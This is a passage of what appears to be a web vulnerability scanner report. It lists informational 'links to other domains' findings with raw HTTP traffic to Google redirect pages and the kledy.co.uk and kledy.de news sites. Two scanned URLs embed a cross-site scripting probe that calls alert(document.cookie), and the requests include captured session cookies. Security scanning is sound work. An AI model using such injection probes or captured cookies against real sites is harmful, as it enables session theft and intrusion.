GET /url?sa=t&source=web&cd=7&ved=0CFcQFjAG&url=http%3A%2F%2Fwww.csc.gatech.edu%2F~copeland%2F6612%2Ftool-links.html&ei=4JxNTcPNMcKB8gbXzO3UDg&usg=AFQjCNFgh6vQo5WZuNc5Pc4MmMvFneKdIg HTTP/1.1
Host: www.google.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: NID=43=Cig5UOc1wv5sfNglqsyNnFFEHFTegiEsPcNcebZoaufNwyNg_IQMlCYN52J936mT_QhaGnP1ldozomC9pKE6pPObVlBzwrbZzma55sFIQ07o-FXH1wkI_XBsSCK3Q2fY; PREF=ID=11a9f75446a95c33:U=28a8b1ad565a039a:FF=0:TM=1293845297:LM=1296932041:GM=1:S=NDlWCWhRSX8WRFLQ

Response

HTTP/1.1 302 Found
Location: http://www.csc.gatech.edu/~copeland/6612/tool-links.html
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Date: Sat, 05 Feb 2011 21:47:57 GMT
Server: gws
Content-Length: 253
X-XSS-Protection: 1; mode=block

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>302 Moved</TITLE></HEAD><BODY>
<H1>302 Moved</H1>
The document has moved
<A HREF="http://www.csc.gatech.edu/~copeland/6612/tool-links.html">here</A>
...[SNIP]...

20.196. http://www.google.com/url previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google.com
Path:	/url

Issue detail

The page was loaded from a URL containing a query string:

http://www.google.com/url?sa=t&source=web&cd=3&ved=0CDYQFjAC&url=http%3A%2F%2Fwww.filetransit.com%2Ffiles.php%3Fname%3DNslookup&ei=4JxNTcPNMcKB8gbXzO3UDg&usg=AFQjCNEaGvzfBJlLTa6We3juxPimMRIQIw

The response contains the following link to another domain:

http://www.filetransit.com/files.php?name=Nslookup

Request

GET /url?sa=t&source=web&cd=3&ved=0CDYQFjAC&url=http%3A%2F%2Fwww.filetransit.com%2Ffiles.php%3Fname%3DNslookup&ei=4JxNTcPNMcKB8gbXzO3UDg&usg=AFQjCNEaGvzfBJlLTa6We3juxPimMRIQIw HTTP/1.1
Host: www.google.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: NID=43=Cig5UOc1wv5sfNglqsyNnFFEHFTegiEsPcNcebZoaufNwyNg_IQMlCYN52J936mT_QhaGnP1ldozomC9pKE6pPObVlBzwrbZzma55sFIQ07o-FXH1wkI_XBsSCK3Q2fY; PREF=ID=11a9f75446a95c33:U=28a8b1ad565a039a:FF=0:TM=1293845297:LM=1296932041:GM=1:S=NDlWCWhRSX8WRFLQ

Response

HTTP/1.1 302 Found
Location: http://www.filetransit.com/files.php?name=Nslookup
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Date: Sat, 05 Feb 2011 21:47:51 GMT
Server: gws
Content-Length: 247
X-XSS-Protection: 1; mode=block

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>302 Moved</TITLE></HEAD><BODY>
<H1>302 Moved</H1>
The document has moved
<A HREF="http://www.filetransit.com/files.php?name=Nslookup">here</A>
...[SNIP]...

20.197. http://www.google.com/url previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google.com
Path:	/url

Issue detail

The page was loaded from a URL containing a query string:

http://www.google.com/url?sa=t&source=web&cd=1&ved=0CCkQFjAA&url=http%3A%2F%2Fwww.freedownloadscenter.com%2Fterms%2Fhtml-tracert-nslookup%2Fnslookup.html&ei=4JxNTcPNMcKB8gbXzO3UDg&usg=AFQjCNEKOPihztsOAF73l_6ZVvZC47bV_Q

The response contains the following link to another domain:

http://www.freedownloadscenter.com/terms/html-tracert-nslookup/nslookup.html

Request

GET /url?sa=t&source=web&cd=1&ved=0CCkQFjAA&url=http%3A%2F%2Fwww.freedownloadscenter.com%2Fterms%2Fhtml-tracert-nslookup%2Fnslookup.html&ei=4JxNTcPNMcKB8gbXzO3UDg&usg=AFQjCNEKOPihztsOAF73l_6ZVvZC47bV_Q HTTP/1.1
Host: www.google.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: NID=43=Cig5UOc1wv5sfNglqsyNnFFEHFTegiEsPcNcebZoaufNwyNg_IQMlCYN52J936mT_QhaGnP1ldozomC9pKE6pPObVlBzwrbZzma55sFIQ07o-FXH1wkI_XBsSCK3Q2fY; PREF=ID=11a9f75446a95c33:U=28a8b1ad565a039a:FF=0:TM=1293845297:LM=1296932041:GM=1:S=NDlWCWhRSX8WRFLQ

Response

HTTP/1.1 302 Found
Location: http://www.freedownloadscenter.com/terms/html-tracert-nslookup/nslookup.html
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Date: Sat, 05 Feb 2011 21:47:47 GMT
Server: gws
Content-Length: 273
X-XSS-Protection: 1; mode=block

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>302 Moved</TITLE></HEAD><BODY>
<H1>302 Moved</H1>
The document has moved
<A HREF="http://www.freedownloadscenter.com/terms/html-tracert-nslookup/nslookup.html">here</A>
...[SNIP]...

20.198. https://www.google.com/adsense/support/bin/request.py previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.google.com
Path:	/adsense/support/bin/request.py

Issue detail

The page was loaded from a URL containing a query string:

https://www.google.com/adsense/support/bin/request.py?contact=abg_afc&url=http://www.freedownloadscenter.com/terms/html-tracert-nslookup/nslookup.html&hl=en&client=ca-pub-6105196450991387

The response contains the following link to another domain:

https://ssl.google-analytics.com/ga.js

Request

GET /adsense/support/bin/request.py?contact=abg_afc&url=http://www.freedownloadscenter.com/terms/html-tracert-nslookup/nslookup.html&hl=en&client=ca-pub-6105196450991387 HTTP/1.1
Host: www.google.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173272373.1294766927.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=173272373.1871872.1294766927.1294766927.1294766927.1; PREF=ID=11a9f75446a95c33:U=28a8b1ad565a039a:FF=0:TM=1293845297:LM=1296932041:GM=1:S=NDlWCWhRSX8WRFLQ; NID=43=Cig5UOc1wv5sfNglqsyNnFFEHFTegiEsPcNcebZoaufNwyNg_IQMlCYN52J936mT_QhaGnP1ldozomC9pKE6pPObVlBzwrbZzma55sFIQ07o-FXH1wkI_XBsSCK3Q2fY;

Response

HTTP/1.1 200 OK
Set-Cookie: N_T=sess%3D5f1c62f29c019c17%26v%3D2%26c%3De08e7d44%26s%3D4d4dc9d8%26t%3DR%3A0%3A%26sessref%3D; Expires=Sat, 05-Feb-2011 22:36:16 GMT; Path=/adsense/support; Secure; HttpOnly
Content-Type: text/html; charset=UTF-8
Date: Sat, 05 Feb 2011 22:06:16 GMT
Expires: Sat, 05 Feb 2011 22:06:16 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Server: GSE
Connection: close

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en">
<head>
<script type="text/javascript">serverResponseTimeDelta=window.external&&window.extern
...[SNIP]...
</script>
<script src='//ssl.google-analytics.com/ga.js'
type='text/javascript'></script>
...[SNIP]...

20.199. http://www.kledy.co.uk/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kledy.co.uk
Path:	/

Issue detail

The page was loaded from a URL containing a query string:

http://www.kledy.co.uk/?b6885%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E58b3310da99=1

The response contains the following links to other domains:

http://avtocompany.com/Bentley/Bentley-Continental-GT-220.html
http://cdn.wibiya.com/Toolbars/dir_0003/Toolbar_3508/Loader_3508.js
http://chattino.com/
http://hubpages.com/hub/google-earth-street-view
http://open.thumbshots.org/image.aspx?url=http://avtocompany.com/Bentley/Bentley-Continental-GT-220.html
http://open.thumbshots.org/image.aspx?url=http://chattino.com/
http://open.thumbshots.org/image.aspx?url=http://hubpages.com/hub/google-earth-street-view
http://open.thumbshots.org/image.aspx?url=http://www.beverlyhillshr.com/
http://open.thumbshots.org/image.aspx?url=http://www.diyuniverse.com/
http://open.thumbshots.org/image.aspx?url=http://www.iraqivolunteer.com/Members/maclein
http://open.thumbshots.org/image.aspx?url=http://www.rescue.co.uk
http://open.thumbshots.org/image.aspx?url=http://www.thaihotels2u.com
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://shop.kledy.de/
http://tracker.icerocket.com/services/collector.js
http://twitter.com/home/?status=Reading+http://avtocompany.com/Bentley/Bentley-Continental-GT-220.html+thanks+Kledy.co.uk+@+http://www.kledy.co.uk
http://twitter.com/home/?status=Reading+http://chattino.com/+thanks+Kledy.co.uk+@+http://www.kledy.co.uk
http://twitter.com/home/?status=Reading+http://hubpages.com/hub/google-earth-street-view+thanks+Kledy.co.uk+@+http://www.kledy.co.uk
http://twitter.com/home/?status=Reading+http://www.beverlyhillshr.com/+thanks+Kledy.co.uk+@+http://www.kledy.co.uk
http://twitter.com/home/?status=Reading+http://www.diyuniverse.com/+thanks+Kledy.co.uk+@+http://www.kledy.co.uk
http://twitter.com/home/?status=Reading+http://www.iraqivolunteer.com/Members/maclein+thanks+Kledy.co.uk+@+http://www.kledy.co.uk
http://twitter.com/home/?status=Reading+http://www.rescue.co.uk+thanks+Kledy.co.uk+@+http://www.kledy.co.uk
http://twitter.com/home/?status=Reading+http://www.thaihotels2u.com+thanks+Kledy.co.uk+@+http://www.kledy.co.uk
http://videos.video-loader.com/sp/37211909126091178247379.js
http://www.beverlyhillshr.com/
http://www.chattino.com/
http://www.diyuniverse.com/
http://www.iraqivolunteer.com/Members/maclein
http://www.kledy.de/
http://www.kledy.es/
http://www.kledy.eu/
http://www.kledy.it/
http://www.kledy.us/
http://www.rescue.co.uk/
http://www.thaihotels2u.com/
http://www.thumbshots.com/

Request

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:10:35 GMT
Server: Apache/2.2.10 (Linux/SUSE)
X-Powered-By: PHP/5.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 85164

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html dir="ltr" xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

...[SNIP]...
<div style="float:left;height:16px"><a href="http://www.kledy.de"><img src="/images/de.png" style="border:0;" align="bottom"></a> <a href="http://www.kledy.us"><img src="/images/us.png" style="border:0" align="bottom">
...[SNIP]...
</a> <a href="http://www.kledy.es"><img src="/images/es.png" style="border:0;" align="bottom"></a> <a href="http://www.kledy.it"><img src="/images/it.png" style="border:0;" align="bottom"></a> <a href="http://www.kledy.eu"><img src="/images/eu.png" style="border:0;" align="bottom">
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
<b><a href="http://www.chattino.com/" >Free WebCam Chat</a>
...[SNIP]...
</a> 71 days ago

                                   (<a href="http://hubpages.com/hub/google-earth-street-view" target="_blank" >http://hubpages.com</a>
...[SNIP]...
<div class="storycontent">
               <img src="http://open.thumbshots.org/image.aspx?url=http://hubpages.com/hub/google-earth-street-view" border="0" =http://hubpages.com/hub/google-earth-street-view" style="float:left;margin-right:5px"/>
                           <span class="news-body-text">
...[SNIP]...
<span class="twitter" id="linksummaryTwitter"><a href="http://twitter.com/home/?status=Reading+http://hubpages.com/hub/google-earth-street-view+thanks+Kledy.co.uk+@+http://www.kledy.co.uk" target="_blank">Tweet This</a>
...[SNIP]...
</a> 141 days ago

                                   (<a href="http://chattino.com/" target="_blank" >http://chattino.com</a>
...[SNIP]...
<div class="storycontent">
               <img src="http://open.thumbshots.org/image.aspx?url=http://chattino.com/" border="0" =http://chattino.com/" style="float:left;margin-right:5px"/>
                           <span class="news-body-text">
...[SNIP]...
<span class="twitter" id="linksummaryTwitter"><a href="http://twitter.com/home/?status=Reading+http://chattino.com/+thanks+Kledy.co.uk+@+http://www.kledy.co.uk" target="_blank">Tweet This</a>
...[SNIP]...
</a> 165 days ago

                                   (<a href="http://www.rescue.co.uk" target="_blank" >http://www.rescue.co.uk</a>
...[SNIP]...
<div class="storycontent">
               <img src="http://open.thumbshots.org/image.aspx?url=http://www.rescue.co.uk" border="0" =http://www.rescue.co.uk" style="float:left;margin-right:5px"/>
                           <span class="news-body-text">
...[SNIP]...
<span class="twitter" id="linksummaryTwitter"><a href="http://twitter.com/home/?status=Reading+http://www.rescue.co.uk+thanks+Kledy.co.uk+@+http://www.kledy.co.uk" target="_blank">Tweet This</a>
...[SNIP]...
</a> 166 days ago

                                   (<a href="http://avtocompany.com/Bentley/Bentley-Continental-GT-220.html" target="_blank" >http://avtocompany.com</a>
...[SNIP]...
<div class="storycontent">
               <img src="http://open.thumbshots.org/image.aspx?url=http://avtocompany.com/Bentley/Bentley-Continental-GT-220.html" border="0" =http://avtocompany.com/Bentley/Bentley-Continental-GT-220.html" style="float:left;margin-right:5px"/>
                           <span class="news-body-text">
...[SNIP]...
<span class="twitter" id="linksummaryTwitter"><a href="http://twitter.com/home/?status=Reading+http://avtocompany.com/Bentley/Bentley-Continental-GT-220.html+thanks+Kledy.co.uk+@+http://www.kledy.co.uk" target="_blank">Tweet This</a>
...[SNIP]...
</a> 169 days ago

                                   (<a href="http://www.beverlyhillshr.com/" target="_blank" >http://www.beverlyhillshr.com</a>
...[SNIP]...
<div class="storycontent">
               <img src="http://open.thumbshots.org/image.aspx?url=http://www.beverlyhillshr.com/" border="0" =http://www.beverlyhillshr.com/" style="float:left;margin-right:5px"/>
                           <span class="news-body-text">
...[SNIP]...
<span class="twitter" id="linksummaryTwitter"><a href="http://twitter.com/home/?status=Reading+http://www.beverlyhillshr.com/+thanks+Kledy.co.uk+@+http://www.kledy.co.uk" target="_blank">Tweet This</a>
...[SNIP]...
</a> 171 days ago

                                   (<a href="http://www.diyuniverse.com/" target="_blank" >http://www.diyuniverse.com</a>
...[SNIP]...
<div class="storycontent">
               <img src="http://open.thumbshots.org/image.aspx?url=http://www.diyuniverse.com/" border="0" =http://www.diyuniverse.com/" style="float:left;margin-right:5px"/>
                           <span class="news-body-text">
...[SNIP]...
<span class="twitter" id="linksummaryTwitter"><a href="http://twitter.com/home/?status=Reading+http://www.diyuniverse.com/+thanks+Kledy.co.uk+@+http://www.kledy.co.uk" target="_blank">Tweet This</a>
...[SNIP]...
</a> 172 days ago

                                   (<a href="http://www.thaihotels2u.com" target="_blank" >http://www.thaihotels2u.com</a>
...[SNIP]...
<div class="storycontent">
               <img src="http://open.thumbshots.org/image.aspx?url=http://www.thaihotels2u.com" border="0" =http://www.thaihotels2u.com" style="float:left;margin-right:5px"/>
                           <span class="news-body-text">
...[SNIP]...
<span class="twitter" id="linksummaryTwitter"><a href="http://twitter.com/home/?status=Reading+http://www.thaihotels2u.com+thanks+Kledy.co.uk+@+http://www.kledy.co.uk" target="_blank">Tweet This</a>
...[SNIP]...
</a> 173 days ago

                                   (<a href="http://www.iraqivolunteer.com/Members/maclein" target="_blank" >http://www.iraqivolunteer.com</a>
...[SNIP]...
<div class="storycontent">
               <img src="http://open.thumbshots.org/image.aspx?url=http://www.iraqivolunteer.com/Members/maclein" border="0" =http://www.iraqivolunteer.com/Members/maclein" style="float:left;margin-right:5px"/>
                           <span class="news-body-text">
...[SNIP]...
<span class="twitter" id="linksummaryTwitter"><a href="http://twitter.com/home/?status=Reading+http://www.iraqivolunteer.com/Members/maclein+thanks+Kledy.co.uk+@+http://www.kledy.co.uk" target="_blank">Tweet This</a>
...[SNIP]...
<center>
<script type="text/javascript" src="http://videos.video-loader.com/sp/37211909126091178247379.js"></script>
...[SNIP]...
<img src="/iconpics/cart.png" align=top> <a href="http://shop.kledy.de" target="_blank">Compare Prices</a>
...[SNIP]...
</a>
   <a href="http://www.thumbshots.com" target="_blank" title="Thumbnails Screenshots by Thumbshots">Thumbnail Screenshots by Thumbshots</a>
...[SNIP]...
<div align=right style="width:10%;float:left;margin-left:0px;margin-top:30px"><a href="http://www.kledy.de/" ><img src="/templates/tacticnews2/images/logo_tacticnews2.png" alt="Kledy.de / Social News">
...[SNIP]...
</script>
<script type="text/javascript" src="http://tracker.icerocket.com/services/collector.js"></script>
<br>
<script src="http://cdn.wibiya.com/Toolbars/dir_0003/Toolbar_3508/Loader_3508.js" type="text/javascript"></script>
...[SNIP]...

20.200. http://www.kledy.de/bookmarks.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kledy.de
Path:	/bookmarks.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.kledy.de/bookmarks.php?18fe2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eef67307aec5=1

The response contains the following links to other domains:

http://cdn.wibiya.com/Toolbars/dir_0003/Toolbar_3508/Loader_3508.js
http://chattino.com/
http://feedburner.google.com/fb/a/mailverify?uri=news-24&loc=de_DE
http://fussballmania.com/
http://open.thumbshots.org/image.aspx?url=http://wirtschaftsthemen.net/politik/ausland/der-westen-opfert-aegyptens-demokratie-seiner-paranoia/006911.html
http://open.thumbshots.org/image.aspx?url=http://wirtschaftsthemen.net/unternehmen/karriere/eine-frauenquote-koennte-tausende-arbeitsplaetze-vernichten/006920.html
http://open.thumbshots.org/image.aspx?url=http://www.breitband-anbieter.com/news/iphone-5-ipad-2-und-die-lte-tarife-der-deutschen-telekom-659000/
http://open.thumbshots.org/image.aspx?url=http://www.fitness-gesundheit.biz/die-gelenkbelastung-der-unteren-extremitaten-beim-nordic-walking/
http://open.thumbshots.org/image.aspx?url=http://www.fotoatelier-berlin.de
http://open.thumbshots.org/image.aspx?url=http://www.mittelstandsblog.de/2011/02/gfk-prognose-deutsche-2011-noch-konsumfreudiger/
http://open.thumbshots.org/image.aspx?url=http://www.nmworkwear.de/index.php?cPath=2_3
http://open.thumbshots.org/image.aspx?url=http://www.w7o.de
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://platform.twitter.com/widgets.js
http://s7.addthis.com/js/250/addthis_widget.js
http://s7.addthis.com/static/btn/sm-plus.gif
http://shop.kledy.de/
http://tracker.icerocket.com/services/collector.js
http://twitter.com/share
http://videos.video-loader.com/sp/81211909126097148926263.js
http://wirtschaftsthemen.net/politik/ausland/der-westen-opfert-aegyptens-demokratie-seiner-paranoia/006911.html
http://wirtschaftsthemen.net/unternehmen/karriere/eine-frauenquote-koennte-tausende-arbeitsplaetze-vernichten/006920.html
http://www.addthis.com/bookmark.php
http://www.addtoany.com/subscribe?linkurl=http%3A%2F%2Fwww.kledy.de%2Frss_dts.php&linkname=Aktuelle%20Nachrichten
http://www.breitband-anbieter.com/news/iphone-5-ipad-2-und-die-lte-tarife-der-deutschen-telekom-659000/
http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.facebook.com%2Fpages%2FKledyde%2F344540630304&layout=button_count&show_faces=false&width=80&action=like&colorscheme=light&height=21
http://www.facebook.com/plugins/likebox.php?id=344540630304&width=240&connections=10&stream=false&header=false&height=255
http://www.fitness-gesundheit.biz/die-gelenkbelastung-der-unteren-extremitaten-beim-nordic-walking/
http://www.google.com/s2/favicons?domain=wirtschaftsthemen.net
http://www.google.com/s2/favicons?domain=www.breitband-anbieter.com
http://www.google.com/s2/favicons?domain=www.fitness-gesundheit.biz
http://www.google.com/s2/favicons?domain=www.fotoatelier-berlin.de
http://www.google.com/s2/favicons?domain=www.mittelstandsblog.de
http://www.google.com/s2/favicons?domain=www.nmworkwear.de
http://www.google.com/s2/favicons?domain=www.w7o.de
http://www.kledy.co.uk/
http://www.klivio.com/
http://www.spiele365.com/
http://www.tarifcheck24.com/
http://www.tel-inform.com/
http://www.thumbshots.com/
http://www.widgetbox.com/widget/bookmarks-kledyde

Request

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:08:11 GMT
Server: Apache/2.2.10 (Linux/SUSE)
X-Powered-By: PHP/5.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 95632

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">

<html dir="ltr" lang="de">
   <head>


    <meta name="description" content="Aktuelle Nachrichten und Videos aus Politik, Wirtschaft
...[SNIP]...
</a><a href="http://www.kledy.co.uk" style="margin-right:19px"><img src="/images/uk.png" style="border:0;" alt="Kledy.co.uk">
...[SNIP]...
<div style="margin:0;padding:0;position:relative;top:7px;"><iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.facebook.com%2Fpages%2FKledyde%2F344540630304&layout=button_count&show_faces=false&width=80&action=like&colorscheme=light&height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:120px; height:21px;" allowTransparency="true"></iframe>
<a href="http://twitter.com/share" class="twitter-share-button" data-count="horizontal" data-via="kledys" data-lang="de">Tweet</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
...[SNIP]...
</a> 5 Stunden zuvor

                                     <img src="http://www.google.com/s2/favicons?domain=www.fotoatelier-berlin.de" ALIGN=ABSMIDDLE>

  <a href="http://www.fotoatelier-berlin.de" target="_blank" title="http://www.fotoatelier-berlin.de">
...[SNIP]...
<div class="storycontent">
                       <img src="http://open.thumbshots.org/image.aspx?url=http://www.fotoatelier-berlin.de" border="0" =http://www.fotoatelier-berlin.de" style="float:left;margin-right:5px"/>
                       <span class="news-body-text">
...[SNIP]...

<a class="addthis_button" href="http://www.addthis.com/bookmark.php" title="AddThis"><img src="http://s7.addthis.com/static/btn/sm-plus.gif" width="16" style="margin-left:5px;" height="16" border="0" align="top" alt="Share"></a><script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=Kledy"></script>
...[SNIP]...
</a> 7 Stunden zuvor

                                     <img src="http://www.google.com/s2/favicons?domain=wirtschaftsthemen.net" ALIGN=ABSMIDDLE>

  <a href="http://wirtschaftsthemen.net/unternehmen/karriere/eine-frauenquote-koennte-tausende-arbeitsplaetze-vernichten/006920.html" target="_blank" title="http://wirtschaftsthemen.net">http://wirtschaftsthemen.net</a>
...[SNIP]...
<div class="storycontent">
                       <img src="http://open.thumbshots.org/image.aspx?url=http://wirtschaftsthemen.net/unternehmen/karriere/eine-frauenquote-koennte-tausende-arbeitsplaetze-vernichten/006920.html" border="0" =http://wirtschaftsthemen.net/unternehmen/karriere/eine-frauenquote-koennte-tausende-arbeitsplaetze-vernichten/006920.html" style="float:left;margin-right:5px"/>
                       <span class="news-body-text">
...[SNIP]...

<a class="addthis_button" href="http://www.addthis.com/bookmark.php" title="AddThis"><img src="http://s7.addthis.com/static/btn/sm-plus.gif" width="16" style="margin-left:5px;" height="16" border="0" align="top" alt="Share"></a><script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=Kledy"></script>
...[SNIP]...
</script>
<a class="PliggButton PliggLarge" href="http://wirtschaftsthemen.net/unternehmen/karriere/eine-frauenquote-koennte-tausende-arbeitsplaetze-vernichten/006920.html" title="Eine Frauenquote k..nnte tausende Arbeitspl..tze vernichten | Wirtschaftsthemen" rev="Wirtschaft" rel=""><span style="display:none">
...[SNIP]...
</script>
<a class="PliggButton PliggSmall" href="http://wirtschaftsthemen.net/unternehmen/karriere/eine-frauenquote-koennte-tausende-arbeitsplaetze-vernichten/006920.html" title="Eine Frauenquote k..nnte tausende Arbeitspl..tze vernichten | Wirtschaftsthemen" rev="Wirtschaft" rel=""><span style="display:none">
...[SNIP]...
</a> 9 Stunden zuvor

                                     <img src="http://www.google.com/s2/favicons?domain=www.w7o.de" ALIGN=ABSMIDDLE>

  <a href="http://www.w7o.de" target="_blank" title="http://www.w7o.de">
...[SNIP]...
<div class="storycontent">
                       <img src="http://open.thumbshots.org/image.aspx?url=http://www.w7o.de" border="0" =http://www.w7o.de" style="float:left;margin-right:5px"/>
                       <span class="news-body-text">
...[SNIP]...

<a class="addthis_button" href="http://www.addthis.com/bookmark.php" title="AddThis"><img src="http://s7.addthis.com/static/btn/sm-plus.gif" width="16" style="margin-left:5px;" height="16" border="0" align="top" alt="Share"></a><script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=Kledy"></script>
...[SNIP]...
</a> 9 Stunden zuvor

                                     <img src="http://www.google.com/s2/favicons?domain=www.nmworkwear.de" ALIGN=ABSMIDDLE>

  <a href="http://www.nmworkwear.de/index.php?cPath=2_3" target="_blank" title="http://www.nmworkwear.de">
...[SNIP]...
<div class="storycontent">
                       <img src="http://open.thumbshots.org/image.aspx?url=http://www.nmworkwear.de/index.php?cPath=2_3" border="0" =http://www.nmworkwear.de/index.php?cPath=2_3" style="float:left;margin-right:5px"/>
                       <span class="news-body-text">
...[SNIP]...

<a class="addthis_button" href="http://www.addthis.com/bookmark.php" title="AddThis"><img src="http://s7.addthis.com/static/btn/sm-plus.gif" width="16" style="margin-left:5px;" height="16" border="0" align="top" alt="Share"></a><script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=Kledy"></script>
...[SNIP]...
</a> 11 Stunden zuvor

                                     <img src="http://www.google.com/s2/favicons?domain=www.fitness-gesundheit.biz" ALIGN=ABSMIDDLE>

  <a href="http://www.fitness-gesundheit.biz/die-gelenkbelastung-der-unteren-extremitaten-beim-nordic-walking/" target="_blank" title="http://www.fitness-gesundheit.biz">http://www.fitness-gesundheit.biz</a>
...[SNIP]...
<div class="storycontent">
                       <img src="http://open.thumbshots.org/image.aspx?url=http://www.fitness-gesundheit.biz/die-gelenkbelastung-der-unteren-extremitaten-beim-nordic-walking/" border="0" =http://www.fitness-gesundheit.biz/die-gelenkbelastung-der-unteren-extremitaten-beim-nordic-walking/" style="float:left;margin-right:5px"/>
                       <span class="news-body-text">
...[SNIP]...

<a class="addthis_button" href="http://www.addthis.com/bookmark.php" title="AddThis"><img src="http://s7.addthis.com/static/btn/sm-plus.gif" width="16" style="margin-left:5px;" height="16" border="0" align="top" alt="Share"></a><script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=Kledy"></script>
...[SNIP]...
</script>
<a class="PliggButton PliggLarge" href="http://www.fitness-gesundheit.biz/die-gelenkbelastung-der-unteren-extremitaten-beim-nordic-walking/" title="Die Gelenkbelastung der unteren Extremit..ten beim Nordic Walking" rev="Sport" rel=""><span style="display:none">
...[SNIP]...
</script>
<a class="PliggButton PliggSmall" href="http://www.fitness-gesundheit.biz/die-gelenkbelastung-der-unteren-extremitaten-beim-nordic-walking/" title="Die Gelenkbelastung der unteren Extremit..ten beim Nordic Walking" rev="Sport" rel=""><span style="display:none">
...[SNIP]...
</a> 13 Stunden zuvor

                                     <img src="http://www.google.com/s2/favicons?domain=wirtschaftsthemen.net" ALIGN=ABSMIDDLE>

  <a href="http://wirtschaftsthemen.net/politik/ausland/der-westen-opfert-aegyptens-demokratie-seiner-paranoia/006911.html" target="_blank" title="http://wirtschaftsthemen.net">http://wirtschaftsthemen.net</a>
...[SNIP]...
<div class="storycontent">
                       <img src="http://open.thumbshots.org/image.aspx?url=http://wirtschaftsthemen.net/politik/ausland/der-westen-opfert-aegyptens-demokratie-seiner-paranoia/006911.html" border="0" =http://wirtschaftsthemen.net/politik/ausland/der-westen-opfert-aegyptens-demokratie-seiner-paranoia/006911.html" style="float:left;margin-right:5px"/>
                       <span class="news-body-text">
...[SNIP]...

<a class="addthis_button" href="http://www.addthis.com/bookmark.php" title="AddThis"><img src="http://s7.addthis.com/static/btn/sm-plus.gif" width="16" style="margin-left:5px;" height="16" border="0" align="top" alt="Share"></a><script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=Kledy"></script>
...[SNIP]...
</script>
<a class="PliggButton PliggLarge" href="http://wirtschaftsthemen.net/politik/ausland/der-westen-opfert-aegyptens-demokratie-seiner-paranoia/006911.html" title="Der Westen opfert ..gyptens Demokratie seiner Paranoia | Wirtschaftsthemen" rev="Nachrichten" rel=""><span style="display:none">
...[SNIP]...
</script>
<a class="PliggButton PliggSmall" href="http://wirtschaftsthemen.net/politik/ausland/der-westen-opfert-aegyptens-demokratie-seiner-paranoia/006911.html" title="Der Westen opfert ..gyptens Demokratie seiner Paranoia | Wirtschaftsthemen" rev="Nachrichten" rel=""><span style="display:none">
